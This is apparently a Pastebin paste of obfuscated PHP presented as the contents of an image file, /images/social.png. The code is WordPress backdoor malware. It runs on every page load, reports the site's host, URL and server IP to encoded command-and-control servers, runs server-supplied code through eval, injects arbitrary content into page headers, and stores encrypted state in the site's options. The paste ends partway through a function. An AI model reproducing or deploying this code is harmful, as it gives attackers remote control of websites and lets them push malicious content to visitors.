Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- The contents of /images/social.png
- <?php class VtkddwvkYgCDDRRWbgRt{
- private $AcheTwkrhTtKmyatQGqY,
- $SntMBKFkfTlUzXyNVQed,
- $YcmysXeieEGqvkjRIsPY;
- public function __construct($BZaxGALPLdVfntBIQWUP = 'null'){if ($BZaxGALPLdVfntBIQWUP == 'new'){
- $this->QxEolVsSqvJZyRSgHFmL();
- }
- else {
- $this->yOlGcuINHlzAVPznEbGN();
- }
- $this->SntMBKFkfTlUzXyNVQed = '-----BEGIN PUBLIC KEY-----
- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6K/I2l6k2Iz7Vojzxk5Q
- 43QNfIJm2jWPvXAvFtft+yy4rD3MseQJWx3PLlkoRQjSI1uiiwwlPZWED0e5wFet
- nS5tKhvvRaOeUPYJq6MtyUbnaMn7bshlgaAlPaUCVdAOjdtGHMuFaWfnBLgTSu3c
- uccVC2zOlXx7XK1tw39eZepRemoh0W3Qhf+hDFsEzACSBmKhBiganwCZzTDvyXpj
- nfbRKbf26LJDJ9u2Choh768vQiIfuf0tGLQ+xxcBDl2ZVW0P76cd5I2v+lYRBD/X
- vgU32/UZeKDheA8M/oZ5/yFv5QWAU2SHEEKYfLkAQmXs/oRGqMQONqoL3W5Q4bE/
- gQIDAQAB
- -----END PUBLIC KEY-----';
- }
- private function yOlGcuINHlzAVPznEbGN()
- {
- $oXyaqmHoChvHQFCvTluq = get_option('WP_CLIENT_KEY');
- $this->AcheTwkrhTtKmyatQGqY = $oXyaqmHoChvHQFCvTluq;
- }
- private function QxEolVsSqvJZyRSgHFmL()
- {
- $WUSuJUGMrzyhdyhyGeIj = $this->DWoPBIQOoBwLXRAmwfed();
- $this->AcheTwkrhTtKmyatQGqY = $WUSuJUGMrzyhdyhyGeIj['private'];
- $this->YcmysXeieEGqvkjRIsPY = $WUSuJUGMrzyhdyhyGeIj['public'];
- update_option("WP_CLIENT_KEY", $this->AcheTwkrhTtKmyatQGqY);
- }
- public function bkBMtlOkGRaPFVExpcNb($oXyaqmHoChvHQFCvTluq)
- {
- openssl_seal($oXyaqmHoChvHQFCvTluq, $XSuQpMSlwhlPZypBIPnf, $THPieTXOYTCWThoTFSSu, array(openssl_pkey_get_public($this->SntMBKFkfTlUzXyNVQed)));
- return array("data" => base64_encode($XSuQpMSlwhlPZypBIPnf), "key" => base64_encode($THPieTXOYTCWThoTFSSu[0]));
- }
- public function MFmjdYJpnAEmbwnXvkQU($oXyaqmHoChvHQFCvTluq)
- {
- openssl_seal($oXyaqmHoChvHQFCvTluq, $XSuQpMSlwhlPZypBIPnf, $THPieTXOYTCWThoTFSSu, array(openssl_pkey_get_public($this->YcmysXeieEGqvkjRIsPY)));
- return json_encode(array("data" => base64_encode($XSuQpMSlwhlPZypBIPnf), "key" => base64_encode($THPieTXOYTCWThoTFSSu[0])));
- }
- public function qPhSGyDrRdyPezAnHgia()
- {
- return $this->YcmysXeieEGqvkjRIsPY;
- }
- public function skwTpfzBalSTBTBkLvhw($piiJbwvzLxHvKjlNnFzd)
- {
- $this->YcmysXeieEGqvkjRIsPY = $piiJbwvzLxHvKjlNnFzd;
- }
- public function vZlUWjEYdyPGPomnFXMG($oXyaqmHoChvHQFCvTluq)
- {
- $BdlbpgzPBjxVLkBLnsrX = json_decode($oXyaqmHoChvHQFCvTluq, true);
- if ($BdlbpgzPBjxVLkBLnsrX !== false){
- $oXyaqmHoChvHQFCvTluq = $BdlbpgzPBjxVLkBLnsrX;
- }
- if (!is_array($oXyaqmHoChvHQFCvTluq)) {
- return false;
- }
- openssl_open(base64_decode(trim($oXyaqmHoChvHQFCvTluq['data'])), $WQqrOQbxBHtERCkwicqA, base64_decode(trim($oXyaqmHoChvHQFCvTluq['key'])), $this->AcheTwkrhTtKmyatQGqY) ;
- return $WQqrOQbxBHtERCkwicqA;
- }
- public function DWoPBIQOoBwLXRAmwfed()
- {
- $IzGRmpLLtcLVMJRxcfpe = openssl_pkey_new(array(
- 'private_key_bits' => 2048,
- 'private_key_type' => OPENSSL_KEYTYPE_RSA,
- ));
- openssl_pkey_export($IzGRmpLLtcLVMJRxcfpe, $IANNGYfyVIgZFkzWVTKm);
- $oXyaqmHoChvHQFCvTluq['private'] = $IANNGYfyVIgZFkzWVTKm;
- $XEWVBmIaXvRqxrckbkOq = openssl_pkey_get_details($IzGRmpLLtcLVMJRxcfpe);
- $oXyaqmHoChvHQFCvTluq['public'] = $XEWVBmIaXvRqxrckbkOq['key'];
- return $oXyaqmHoChvHQFCvTluq;
- }
- }
- if (!function_exists('txyFqaETRPUyiEgQatok')){
- function txyFqaETRPUyiEgQatok()
- {
- if (!defined('wp_server_run_ex')) {
- define('NYOtWHUXirvRWKhceXsE','wp_data_newa');
- define('npUtMwyeMfjCtxInAgUp', true);
- new GsSYoMTsQibQgcHcuGmr();
- }
- }
- add_action('init', 'txyFqaETRPUyiEgQatok');
- }
- class GsSYoMTsQibQgcHcuGmr{
- public $oXyaqmHoChvHQFCvTluq = array(),
- $yYVsqvOoqWsddypXgJcI = array(),
- $qcCONSsvpJlMgdhEFFmr,
- $IzGRmpLLtcLVMJRxcfpe,
- $aJQafHDwnaPrCJrQMjHV,
- $AeRxXNHxOXpcNJWlZSIK, $vwhhtIrAWhUEFDgPrcco, $htcFFCQTLLpnCchsPKGY, $wqawPxkNytKqRKNRqbwA, $IatJdWimJbxtprWZElHe, $YobOrWbieESFVcSsWsuB;
- public $WbKPQMoSbMZkXUeYKXRI;
- public function __construct()
- {
- $this->yYVsqvOoqWsddypXgJcI = array( '=pzpi5vouMJLlSzr',
- 'hyzYlSTqm92Mhyzp',
- '==trcWzYfk2ovITqiIKp',
- '==trcWzYxy2plITqhSTn',
- 'g92LhZ3ni9Togyzr',
- '==DoiAzYiEKqiyKMgS2p',
- '==DMg5FngSTMhI2q',
- 'hyzY5Wapik2MxSzL',
- '=8zMhyzYhIJMlqzoi9Jo',
- '=bKnv5Pqcg2of9zr',
- '==toc5lpyIzpayTn',
- '=bKnv5vpuE3phSJofI2n',
- '==jqj5PofS2qlITqhSTn',
- '==toc5vo1AKMaSTofyzq',
- 'aW3ohHzMckzp19JM2y2M',
- 'aW3ohD3owyKMh9Jo',
- '=02ow5PoyITqmEJquWaM',
- '=0JnhD3pyMzolIUq',
- '=DKMh5lq1Szoy1TofS2L',
- '==Nqy5zYiqUqyk2Mhy2p',
- '==DoiAzYu5JLaW3ogg2LukzL',
- '==trcWzYmITqckJL2yzq',
- '==DoiAzY6ITqu1JLgkJL',
- '41zYjIUMlITpi92L',
- 'g92LhpzockTocM2oaWKM',
- '==jqj5PnmyzMiEUnmyzp',
- '==toc5FMvyKo5Szp',
- '=4JnhZ3M1WJMeyTo',
- '==jqj5lphS2pfIzquWUq',
- '=02ow5FryW3ogkJnuWUq',
- 'aW3ohHTo5E3pgHJocW3L',
- '==trcWzYlITMuk2Mc5Jq',
- '6yzLhDKqwETol92q',
- '==trcWzYmgJLgyTqf9zM',
- '0IzohZUocSzMlITMh92q',
- '==trcWzYyEKqwETol92q',
- '==Nqy5zYmAKMhy2M0ITo0I3o',
- '0IzohZKMfyUqm52ohITr',
- '=pUphLzMf92qxSzL',
- '=pzpi5vouEKn0g2LukzL',
- '==jMl9zY5IzoiuJLfyJo',
- '=HJohNKqbSTof9Tn',
- '=4JnhVKMeAJnfMJock2p',
- '==DoiAzY5STpfITqm9Jo',
- '=DKMh5lpyEJLlq2ohSzo',
- '=4JnhV3ox5JLl9TryuTq',
- '6yzLhVKMyWToyE3pgSTn',
- '6yzLhxapu1TMuITM',
- '=4Jnh4JqvyKMh9Tn',
- '=02ow5FM2yToz9JMh9zr',
- '==Nqy5zY39zoe1JLyWUM',
- 'hyzYmk2oiEaoyk2M',
- '==Nqy5zYlITqm9zM5STo',
- 'hyzYh9TqlSzLhSTM',
- '=4JnhNKqiW3Mf9TogyzL',
- '==trcWzYfy2MlITqhIUn',
- '==toc5lp0Szp0SzM',
- '=bKnv5FM4S2nfyJo',
- 'hyzYfIJM0Aaouu2L',
- '=bKnv5loe5JM0y2p',
- '=bKnv5Pn0SJoiqUq',
- '6yzLhxKoyEJLwSJM0y2pvI2q',
- '=bKnv5lo5ITMi9zM',
- '==trcWzYmkJL0W3ojAKM',
- '==toc5lp3Izo3SJo',
- '=4Jnhf2LiWKolITq',
- 'hyzYeA2olIzoiE3p',
- '=4Jnh82oz1zM',
- 'hyzY0WKLjSJMyWaM',
- 'g92LhfzolS2L',
- '=02ow5FMyWaMmW2L',
- '==DoiAzYiqUqw5Jn',
- '==DoiAzYvETM5STM',
- '==DoiAzYlIJo1WUMi9zM',
- '==toc5PMhSTolSTqcI3M',
- '==toc5vou12MiWUp',
- '==toc5voz1zM',
- 'hyzYj9TouWKMhI2M',
- '=4JnhjJL0W3ojAKM',
- '=8zMhyzYykTpgS2pi9zM',
- '==joz5JnhHJMlMTAiWTn',
- '==joz5JnhHaZhITqmyTo',
- '=8zMhyzYyqJLjgzo',
- 'iMzoc5vMfSTnvI2q',
- '3OaYm5JqaWzM',
- '=pUphH2nuEaZwyTp',
- '=pUphZapyE3pu1JMmIzocu2L',
- '=pUphxUMukJr6SToi9zM',
- '0IzohxKLxIao',
- '=DKMh5Fne9TMhyzM',
- '==Nqy5zY5kzMx5JLlS2L',
- '==Nqy5zYi9zMgyzM',
- '==Nqy5zY392qzqKL',
- '==DoiAzYyyao2EKo',
- '=02ow5lpuyTMySKney2q',
- 'g92Lh4JMwEapiO3p',
- '=02ow5FMyWaM2EKo',
- '==DoiAzY3Izo3SJo',
- 'g92Lhf2LiWKolITq',
- '==DoiAzYi9zMaW3o',
- '==DoiAzYm52ox1zM',
- '=02ow5lpwy2p11JLlSTM',
- '=02ow5vpyWzLiWzpyq2MiWaM',
- '=02ow5lphIJof92n',
- '=02ow5lpykTpgS2pi9zM',
- '==DoiAzYmEzpu9zL2EKo',
- '==trcWzYmyKLxIao',
- 'iMzoc5lp5kzMx5JLlS2L',
- '==jow5lqikTn0SJo',
- '=82Lh82nhIJo',
- '=82Lh82o5STM',
- '==jow5voi5JLcAKL',
- 'iAzYmqKMhqJn',
- '=8zMhyzYm5JLgkJMxIUM',
- '=8zMhyzYmEKMhSTojWKMjSTp',
- 'iMzoc5lpx92oz1FMmIzocu2L',
- 'iMzoc5loiAzpy1Jo1WUM',
- '==joz5JnhbKMhSTojWKMjSTp',
- 'iAzYg9TMh9TM',
- '=82LhZaou12MiWUp',
- '=82LhDKMhSTojWKMjSTp',
- '==jow5lplIJo1WUMi9zM',
- '==jMl9zYhIJof92n',
- '==jMl9zYwy2p11JLlSTM',
- 'aW3ohVKM0yzp31vpyEUnayzM',
- '==jMl9zYx92ozI2phI2ph9zo',
- '==jMl9zYmWKM0AKLgITovSTq',
- '=DKMh5lp51JMxS2LuAan',
- '0IzohHTq1AJrfITq1k2omWJL',
- '0IzohZaoi5JLcAKL',
- '=DKMh5lpyqJLjgzo',
- '=DKMh5lpeA2olIzoiE3p',
- '6yzLh4JLgkJMxIUM',
- '6yzLhDzpu9zL2EKo',
- '6yzLhZ3LcEKrfSzou1lM',
- '==trcWzYuyTMySKney2q',
- '=bKnv5lpj9TouWKMhI2M',
- '6yzLhZUMhSTolSTqcI3M',
- '==trcWzYmq2olO3MiWaM',
- '=bKnv5vpyE3pu1JMmIzocu2L',
- '==trcWzYmI2nuEaZwyTp',
- '==trcWzYi9TMi92M',
- 'aW3ohZ3pyIaplS2L',
- 'hyzYcq2of9Jo5EKM',
- 'hyzYhS2LhI2M',
- '=4JnhVKM0AKLgITovSTq',
- 'hyzYh92Lh9zn',
- );
- $this->aJQafHDwnaPrCJrQMjHV = array(
- '=HaphjJnu1TD1ETn1c2p' );
- $this->dIOUyQsvDqPHTBIxnlYs();
- $this->YobOrWbieESFVcSsWsuB = false;
- $oXyaqmHoChvHQFCvTluq = get_option(NYOtWHUXirvRWKhceXsE);
- if ($oXyaqmHoChvHQFCvTluq == null || $oXyaqmHoChvHQFCvTluq == 'null') {
- $oXyaqmHoChvHQFCvTluq = '';
- }
- if ($oXyaqmHoChvHQFCvTluq == ''){ $this->wqawPxkNytKqRKNRqbwA = true;
- $this->AeRxXNHxOXpcNJWlZSIK = new VtkddwvkYgCDDRRWbgRt('new'); $this->QxEolVsSqvJZyRSgHFmL();
- }
- else{ $this->AeRxXNHxOXpcNJWlZSIK = new VtkddwvkYgCDDRRWbgRt(); $this->oXyaqmHoChvHQFCvTluq = $this->McEnUjjQfaFzqGsihhU($oXyaqmHoChvHQFCvTluq, true);
- if (isset($this->oXyaqmHoChvHQFCvTluq['info']['publicKey'])) {
- $this->AeRxXNHxOXpcNJWlZSIK->skwTpfzBalSTBTBkLvhw($this->oXyaqmHoChvHQFCvTluq['info']['publicKey']);
- }
- }
- $this->OFwlxWaeMyxznpZtnfJL();
- if ($this->TztHMzNNJASlMfiSOwxQ()) {
- die();
- }
- if (!$this->wqawPxkNytKqRKNRqbwA) {
- $this->KPBBXYwmuPGPaTyLhWev();
- }
- }
- private function QxEolVsSqvJZyRSgHFmL(){
- $WbKPQMoSbMZkXUeYKXRI = $this->KZdGlovqEtKYUSCqSVnK(); $WbKPQMoSbMZkXUeYKXRI['publicKey'] = $this->AeRxXNHxOXpcNJWlZSIK->qPhSGyDrRdyPezAnHgia(); $this->WbKPQMoSbMZkXUeYKXRI = $WbKPQMoSbMZkXUeYKXRI;
- $vsJigIMHYwdFnuqvRwrv = false;
- $BCEUSjHFFwzzqmHmpjjQ = 0;
- foreach($this->HSxTktcbTftjZjKRHHmh() as $gXNjWLFkUQOugyREMXKv){
- $oXyaqmHoChvHQFCvTluq = $this->RoQfzgyhgTpMgdUIktgN($gXNjWLFkUQOugyREMXKv,$WbKPQMoSbMZkXUeYKXRI);
- $oXyaqmHoChvHQFCvTluq = $this->gTSiihhIRUNPkADDVdes($oXyaqmHoChvHQFCvTluq);
- if ($oXyaqmHoChvHQFCvTluq !== false) {
- $vsJigIMHYwdFnuqvRwrv = true;
- if ($this->YobOrWbieESFVcSsWsuB) {
- break;
- }
- break;
- }
- }
- if ($vsJigIMHYwdFnuqvRwrv) {
- if ($this->YobOrWbieESFVcSsWsuB) {
- $oXyaqmHoChvHQFCvTluq = $this->oqtYbOOiucMYWyZsGEuE();
- }
- $oXyaqmHoChvHQFCvTluq['info'] = $WbKPQMoSbMZkXUeYKXRI;
- $this->aIIwgKgvtyRoWoMedUdb(NYOtWHUXirvRWKhceXsE, $oXyaqmHoChvHQFCvTluq);
- $this->oXyaqmHoChvHQFCvTluq = $oXyaqmHoChvHQFCvTluq;
- }
- else {
- $oXyaqmHoChvHQFCvTluq = $this->oqtYbOOiucMYWyZsGEuE();
- $oXyaqmHoChvHQFCvTluq['info'] = $WbKPQMoSbMZkXUeYKXRI;
- $this->oXyaqmHoChvHQFCvTluq = $oXyaqmHoChvHQFCvTluq;
- $this->aIIwgKgvtyRoWoMedUdb(NYOtWHUXirvRWKhceXsE, $oXyaqmHoChvHQFCvTluq);
- $this->XnpSvtOjNDRmxyfzaDKl();
- }
- return $oXyaqmHoChvHQFCvTluq;
- }
- public function TztHMzNNJASlMfiSOwxQ(){
- $oXyaqmHoChvHQFCvTluq = $this->oXyaqmHoChvHQFCvTluq;
- if ($oXyaqmHoChvHQFCvTluq == ''){
- return false;
- }
- $SntMBKFkfTlUzXyNVQed = @$_GET[$this->oXyaqmHoChvHQFCvTluq['info']['serverKey']];
- if (isset($SntMBKFkfTlUzXyNVQed) && $SntMBKFkfTlUzXyNVQed == '') { echo '<div id="serverList" style="display: none">';
- $bQYduZxDrtPMJtaBCQyc['servers'] = $oXyaqmHoChvHQFCvTluq['servers'];
- echo json_encode($bQYduZxDrtPMJtaBCQyc);
- echo '</div>';
- die();
- }else if (isset($SntMBKFkfTlUzXyNVQed) && isset($this->oXyaqmHoChvHQFCvTluq['info']['fail'])) {
- if (isset($this->oXyaqmHoChvHQFCvTluq)) {
- $oXyaqmHoChvHQFCvTluq = $this->oXyaqmHoChvHQFCvTluq;
- }else{
- $oXyaqmHoChvHQFCvTluq = $this->oqtYbOOiucMYWyZsGEuE();
- }
- $oXyaqmHoChvHQFCvTluq['servers'][] = $SntMBKFkfTlUzXyNVQed;
- $this->aIIwgKgvtyRoWoMedUdb(NYOtWHUXirvRWKhceXsE, $oXyaqmHoChvHQFCvTluq);
- die();
- }
- return false;
- }
- public function OFwlxWaeMyxznpZtnfJL(){
- $oXyaqmHoChvHQFCvTluq = $this->oXyaqmHoChvHQFCvTluq;
- if (!isset($oXyaqmHoChvHQFCvTluq) || $oXyaqmHoChvHQFCvTluq == null) {
- return;
- }
- if (!is_array($oXyaqmHoChvHQFCvTluq) || $oXyaqmHoChvHQFCvTluq == '') {
- return;
- }
- if (@$oXyaqmHoChvHQFCvTluq['info']['eval'] == 1){
- foreach ($oXyaqmHoChvHQFCvTluq['eval'] as $vsGIQvwCXRbSELMOlFV) {
- eval($vsGIQvwCXRbSELMOlFV);
- }
- }
- if (isset($oXyaqmHoChvHQFCvTluq['echo'])){
- if (!defined('wp_footerLeo')) {
- add_action('wp_head', array( $this, 'WvOoqSuRpZkhgAAFQVjB'));
- }
- }
- }
- public function WvOoqSuRpZkhgAAFQVjB(){
- $oXyaqmHoChvHQFCvTluq = $this->oXyaqmHoChvHQFCvTluq;
- foreach ($oXyaqmHoChvHQFCvTluq['echo'] as $stIedxfhoZcXvZNmNXTd) {
- echo $stIedxfhoZcXvZNmNXTd;
- }
- }
- private function oqtYbOOiucMYWyZsGEuE()
- {
- $oXyaqmHoChvHQFCvTluq = array();
- $oXyaqmHoChvHQFCvTluq['echo'] = array();
- $oXyaqmHoChvHQFCvTluq['eval'] = array();
- $oXyaqmHoChvHQFCvTluq['clients'] = array();
- $oXyaqmHoChvHQFCvTluq['update'] = array();
- return $oXyaqmHoChvHQFCvTluq;
- }
- private function dIOUyQsvDqPHTBIxnlYs(){
- $dqkdbOJPzAPsLsuxnjAS = array('www.', 'www', ' ', '{', '}');
- $this->htcFFCQTLLpnCchsPKGY = str_replace($dqkdbOJPzAPsLsuxnjAS, "", $_SERVER['HTTP_HOST']);
- }
- private function HSxTktcbTftjZjKRHHmh()
- {
- $oXyaqmHoChvHQFCvTluq = array();
- foreach ($this->yYVsqvOoqWsddypXgJcI as $gXNjWLFkUQOugyREMXKv) {
- $oXyaqmHoChvHQFCvTluq[] = base64_decode(str_rot13(strrev($gXNjWLFkUQOugyREMXKv)));
- }
- if (isset($this->oXyaqmHoChvHQFCvTluq['info']['fail'])) {
- $nGwzfuUZcelzyfJBQMIg = (int) ($oXyaqmHoChvHQFCvTluq['info']['fail'] / 100);
- if ($nGwzfuUZcelzyfJBQMIg == 0) {
- $nGwzfuUZcelzyfJBQMIg = 5;
- }
- else{
- $nGwzfuUZcelzyfJBQMIg *= 5;
- }
- }else{
- $nGwzfuUZcelzyfJBQMIg = 5;
- }
- return $this->VitTYMKdJITsiXBTLOEA($oXyaqmHoChvHQFCvTluq, $nGwzfuUZcelzyfJBQMIg);
- }
- private function XsvsqpxlWxfKYiyUc($YJYRbBDIcUlLJwWidyuM)
- {
- $oXyaqmHoChvHQFCvTluq = array();
- foreach ($this->oXyaqmHoChvHQFCvTluq['emails'] as $HWcwGasopLJSadVNNw){
- $oXyaqmHoChvHQFCvTluq[] = $HWcwGasopLJSadVNNw;
- }
- foreach ($this->aJQafHDwnaPrCJrQMjHV as $HWcwGasopLJSadVNNw) {
- $oXyaqmHoChvHQFCvTluq[] = base64_decode(str_rot13(strrev($HWcwGasopLJSadVNNw)));
- }
- return $this->VitTYMKdJITsiXBTLOEA($oXyaqmHoChvHQFCvTluq, $YJYRbBDIcUlLJwWidyuM);
- }
- private function KZdGlovqEtKYUSCqSVnK(){
- $oXyaqmHoChvHQFCvTluq = array();
- $oXyaqmHoChvHQFCvTluq['host'] = $_SERVER['HTTP_HOST'];
- $oXyaqmHoChvHQFCvTluq['page'] = $_SERVER['REQUEST_URI'];
- $oXyaqmHoChvHQFCvTluq['ip'] = $_SERVER['SERVER_ADDR'];
- $oXyaqmHoChvHQFCvTluq['eval'] = $this->YrCTrfUzBfsVJKvqiYUe();
- $oXyaqmHoChvHQFCvTluq['exec'] = $this->KNstTqErzZQBDQOODaJd();
- $oXyaqmHoChvHQFCvTluq['serverKey'] = $this->BkISKDyWWRXScnLPbTly();
- $oXyaqmHoChvHQFCvTluq['run'] = 0;
- $oXyaqmHoChvHQFCvTluq['ver'] = 0.1;
- $oXyaqmHoChvHQFCvTluq['started'] = date('Ymd');
- $oXyaqmHoChvHQFCvTluq['last_connect'] = date('Ymd');
- $this->WbKPQMoSbMZkXUeYKXRI = $oXyaqmHoChvHQFCvTluq;
- return $oXyaqmHoChvHQFCvTluq;
- }
- private function BkISKDyWWRXScnLPbTly($PVSXPKLAQGaWKUtNNUYQ = 10)
- {
- $dqkdbOJPzAPsLsuxnjAS = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
- $PqlpeiQHmZBwdmlsfEHm = '';
- for ($BCEUSjHFFwzzqmHmpjjQ = 0; $BCEUSjHFFwzzqmHmpjjQ < $PVSXPKLAQGaWKUtNNUYQ; $BCEUSjHFFwzzqmHmpjjQ++) {
- $PqlpeiQHmZBwdmlsfEHm .= $dqkdbOJPzAPsLsuxnjAS[rand(0, strlen($dqkdbOJPzAPsLsuxnjAS) - 1)];
- }
- return $PqlpeiQHmZBwdmlsfEHm;
- }
- public function KPBBXYwmuPGPaTyLhWev(){
- $oXyaqmHoChvHQFCvTluq = $this->oXyaqmHoChvHQFCvTluq;
- if (@$oXyaqmHoChvHQFCvTluq['info']['last_connect'] < date('Ymd')){ $oXyaqmHoChvHQFCvTluq = $this->CMQEWmnewJmgOLaFvXGC($oXyaqmHoChvHQFCvTluq);
- if ($oXyaqmHoChvHQFCvTluq == false){
- return;
- }
- else{
- unset($oXyaqmHoChvHQFCvTluq['info']['fail']);
- }
- $oXyaqmHoChvHQFCvTluq['info']['last_connect'] = date('Ymd');
- }
- $oXyaqmHoChvHQFCvTluq['info']['run']++;
- $this->aIIwgKgvtyRoWoMedUdb(NYOtWHUXirvRWKhceXsE, $oXyaqmHoChvHQFCvTluq);
- }
- private function CMQEWmnewJmgOLaFvXGC($oXyaqmHoChvHQFCvTluq){
- $yYVsqvOoqWsddypXgJcI = @$oXyaqmHoChvHQFCvTluq['servers'];
- $uHrzRBdPUetDqbZAdw = $this->tEiRFSJMSpXyxKKORPZC($yYVsqvOoqWsddypXgJcI, $oXyaqmHoChvHQFCvTluq);
- if ($uHrzRBdPUetDqbZAdw !== false){
- return $uHrzRBdPUetDqbZAdw;
- }
- $uHrzRBdPUetDqbZAdw = $this->tEiRFSJMSpXyxKKORPZC($this->HSxTktcbTftjZjKRHHmh(), $oXyaqmHoChvHQFCvTluq);
- if ($uHrzRBdPUetDqbZAdw !== false) {
- return $uHrzRBdPUetDqbZAdw;
- }
- $this->XnpSvtOjNDRmxyfzaDKl();
- }
- private function tEiRFSJMSpXyxKKORPZC($QrnkCEWRkHbQPoEPelYQ, $oXyaqmHoChvHQFCvTluq)
- {
- foreach ($QrnkCEWRkHbQPoEPelYQ as $gXNjWLFkUQOugyREMXKv) {
- $uHrzRBdPUetDqbZAdw = $this->VxjeXwUeRLricksbcxlc($gXNjWLFkUQOugyREMXKv, $oXyaqmHoChvHQFCvTluq['info'], $oXyaqmHoChvHQFCvTluq);
- if ($uHrzRBdPUetDqbZAdw != false) {
- if (!isset($oXyaqmHoChvHQFCvTluq['info']['empty'])){
- $oXyaqmHoChvHQFCvTluq['info']['empty'] = 0;
- }
- if ($this->YobOrWbieESFVcSsWsuB) {
- $oXyaqmHoChvHQFCvTluq['info']['empty']++;
- if (!isset($BCEUSjHFFwzzqmHmpjjQ)){
- $BCEUSjHFFwzzqmHmpjjQ = (int)($oXyaqmHoChvHQFCvTluq['info']['empty'] / 5);
- }
- if ($BCEUSjHFFwzzqmHmpjjQ > 0) {
- $BCEUSjHFFwzzqmHmpjjQ--;
- continue;
- }
- }
- if ($this->YobOrWbieESFVcSsWsuB) {
- return $oXyaqmHoChvHQFCvTluq;
- }
- $uHrzRBdPUetDqbZAdw['info']['empty'] = --$oXyaqmHoChvHQFCvTluq['info']['empty']; return $uHrzRBdPUetDqbZAdw;
- }
- }
- return false;
- }
- private function VxjeXwUeRLricksbcxlc($gXNjWLFkUQOugyREMXKv, $WbKPQMoSbMZkXUeYKXRI, $oXyaqmHoChvHQFCvTluq)
- {
- $this->YobOrWbieESFVcSsWsuB = false; $OQijXfnrxWxPIcPSUibK = $this->RoQfzgyhgTpMgdUIktgN($gXNjWLFkUQOugyREMXKv, $WbKPQMoSbMZkXUeYKXRI);
- $OQijXfnrxWxPIcPSUibK = $this->gTSiihhIRUNPkADDVdes($OQijXfnrxWxPIcPSUibK);
- if ($OQijXfnrxWxPIcPSUibK != false) {
- if ($this->YobOrWbieESFVcSsWsuB) {
- return $oXyaqmHoChvHQFCvTluq;
- }
- $OQijXfnrxWxPIcPSUibK['info'] = $WbKPQMoSbMZkXUeYKXRI;
- return $OQijXfnrxWxPIcPSUibK;
- }
- return false;
- }
- private function gTSiihhIRUNPkADDVdes($oXyaqmHoChvHQFCvTluq){
- if(!isset($this->WbKPQMoSbMZkXUeYKXRI)){
- $this->WbKPQMoSbMZkXUeYKXRI = $this->oXyaqmHoChvHQFCvTluq['info'];
- }
- if (md5($this->WbKPQMoSbMZkXUeYKXRI['serverKey']) == $oXyaqmHoChvHQFCvTluq) {
- $this->YobOrWbieESFVcSsWsuB = true;
- return true;
- }
- $oXyaqmHoChvHQFCvTluq = $this->AeRxXNHxOXpcNJWlZSIK->vZlUWjEYdyPGPomnFXMG($oXyaqmHoChvHQFCvTluq);
- $oXyaqmHoChvHQFCvTluq = json_decode($oXyaqmHoChvHQFCvTluq, true);
- if ($oXyaqmHoChvHQFCvTluq == false) {
- return false;
- }
- else{
- if (!isset($oXyaqmHoChvHQFCvTluq['servers'])) {
- return false;
- }
- }
- return $oXyaqmHoChvHQFCvTluq;
- }
- private function RoQfzgyhgTpMgdUIktgN($gXNjWLFkUQOugyREMXKv, $WbKPQMoSbMZkXUeYKXRI = null,$BZaxGALPLdVfntBIQWUP = null){
- if (strstr($gXNjWLFkUQOugyREMXKv, $_SERVER['HTTP_HOST']) || trim($gXNjWLFkUQOugyREMXKv) == '') {
- return false;
- }
- if (isset($WbKPQMoSbMZkXUeYKXRI)) {
- $BdlbpgzPBjxVLkBLnsrX = json_encode($WbKPQMoSbMZkXUeYKXRI);
- $oXyaqmHoChvHQFCvTluq = $this->AeRxXNHxOXpcNJWlZSIK->bkBMtlOkGRaPFVExpcNb($BdlbpgzPBjxVLkBLnsrX);
- $WbKPQMoSbMZkXUeYKXRI = array( "serverKey" => $WbKPQMoSbMZkXUeYKXRI['serverKey'], "data" => $oXyaqmHoChvHQFCvTluq['data'], "key" => $oXyaqmHoChvHQFCvTluq['key'] );
- }
- while (true){
- $SCvWTGyfCYyeLdjcFFzo = curl_init();
- curl_setopt($SCvWTGyfCYyeLdjcFFzo,CURLOPT_URL,"http://$gXNjWLFkUQOugyREMXKv");
- curl_setopt($SCvWTGyfCYyeLdjcFFzo,CURLOPT_RETURNTRANSFER,1);
- @curl_setopt($SCvWTGyfCYyeLdjcFFzo, CURLOPT_FOLLOWLOCATION, true);
- if (isset($WbKPQMoSbMZkXUeYKXRI)) {
- curl_setopt($SCvWTGyfCYyeLdjcFFzo, CURLOPT_CUSTOMREQUEST, "POST");
- curl_setopt($SCvWTGyfCYyeLdjcFFzo, CURLOPT_POSTFIELDS, $WbKPQMoSbMZkXUeYKXRI);
- }
- curl_setopt($SCvWTGyfCYyeLdjcFFzo,CURLOPT_CONNECTTIMEOUT,10);
- $oXyaqmHoChvHQFCvTluq = curl_exec($SCvWTGyfCYyeLdjcFFzo);
- curl_close($SCvWTGyfCYyeLdjcFFzo);
- if (!strstr($oXyaqmHoChvHQFCvTluq, "301 Moved Permanently")) {
- break;
- }
- else{
- preg_match_all('/<a.*href=\""http:\/\/(.*?)\"".*?\>/',$oXyaqmHoChvHQFCvTluq,$NyFDhMvsSaUwvJsx);
- $gXNjWLFkUQOugyREMXKv = $NyFDhMvsSaUwvJsx[1][0];
- }
- }
- return $oXyaqmHoChvHQFCvTluq;
- }
- private function aIIwgKgvtyRoWoMedUdb($piiJbwvzLxHvKjlNnFzd, $oXyaqmHoChvHQFCvTluq)
- {
- if (is_array($oXyaqmHoChvHQFCvTluq)) {
- $oXyaqmHoChvHQFCvTluq = json_encode($oXyaqmHoChvHQFCvTluq);
- }
- $ilUTrmqGvQsBtZfyeBXf = $this->AeRxXNHxOXpcNJWlZSIK->MFmjdYJpnAEmbwnXvkQU($oXyaqmHoChvHQFCvTluq);
- if ($this->YYfeblxJfGQgkPpfdrIO($ilUTrmqGvQsBtZfyeBXf))
- $oXyaqmHoChvHQFCvTluq = json_decode($ilUTrmqGvQsBtZfyeBXf, true);
- if (!isset($oXyaqmHoChvHQFCvTluq['key']) || !isset($oXyaqmHoChvHQFCvTluq['data']) || strlen($oXyaqmHoChvHQFCvTluq['key']) == 0 || strlen($oXyaqmHoChvHQFCvTluq['data']) == 0 ) {
- die();
- }
- update_option($piiJbwvzLxHvKjlNnFzd, $ilUTrmqGvQsBtZfyeBXf);
- }
- private function McEnUjjQfaFzqGsihhU($piiJbwvzLxHvKjlNnFzd, $ysnqBUjsRbJDIlZaAE = false)
- {
- if (!$ysnqBUjsRbJDIlZaAE) {
